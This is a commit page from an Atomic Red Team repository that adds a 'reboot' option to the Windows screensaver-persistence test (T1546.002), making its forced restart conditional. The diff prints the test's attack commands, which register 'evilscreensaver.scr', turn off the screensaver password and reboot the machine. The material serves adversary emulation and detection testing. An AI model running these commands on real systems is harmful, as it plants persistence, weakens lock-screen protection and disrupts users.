security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Generated docs from job=generate-docs branch=master [ci skip]

Browse Source
This commit is contained in:
Atomic Red Team doc generator
2022-09-23 18:14:09 +00:00
parent 62cda00d61
commit d6db2e9e07
2 changed files with 14 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/Indexes/index.yaml
+12 -2
View File
@@ -38807,6 +38807,11 @@ privilege-escalation:
description: Executable binary to use in place of screensaver for persistence
type: Path
default: C:\Windows\System32\cmd.exe
reboot:
description: Set to non-zero value if you want the test to reboot the system
so that changes take effect
type: Integer
default: 0
executor:
command: |
reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
@@ -38815,7 +38820,7 @@ privilege-escalation:
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
shutdown /r /t 0
if #{reboot} NEQ 0 shutdown /r /t 0
cleanup_command: |
reg import %userprofile%\backup.reg
del %userprofile%\backup.reg
@@ -61441,6 +61446,11 @@ persistence:
description: Executable binary to use in place of screensaver for persistence
type: Path
default: C:\Windows\System32\cmd.exe
reboot:
description: Set to non-zero value if you want the test to reboot the system
so that changes take effect
type: Integer
default: 0
executor:
command: |
reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
@@ -61449,7 +61459,7 @@ persistence:
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
shutdown /r /t 0
if #{reboot} NEQ 0 shutdown /r /t 0
cleanup_command: |
reg import %userprofile%\backup.reg
del %userprofile%\backup.reg
atomics/T1546.002/T1546.002.md
+2 -1
View File
@@ -34,6 +34,7 @@ This test copies a binary into the Windows System32 folder and sets it as the sc
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_binary | Executable binary to use in place of screensaver for persistence | Path | C:\Windows\System32\cmd.exe|
| reboot | Set to non-zero value if you want the test to reboot the system so that changes take effect | Integer | 0|
#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
@@ -46,7 +47,7 @@ reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
shutdown /r /t 0
if #{reboot} NEQ 0 shutdown /r /t 0
```
#### Cleanup Commands: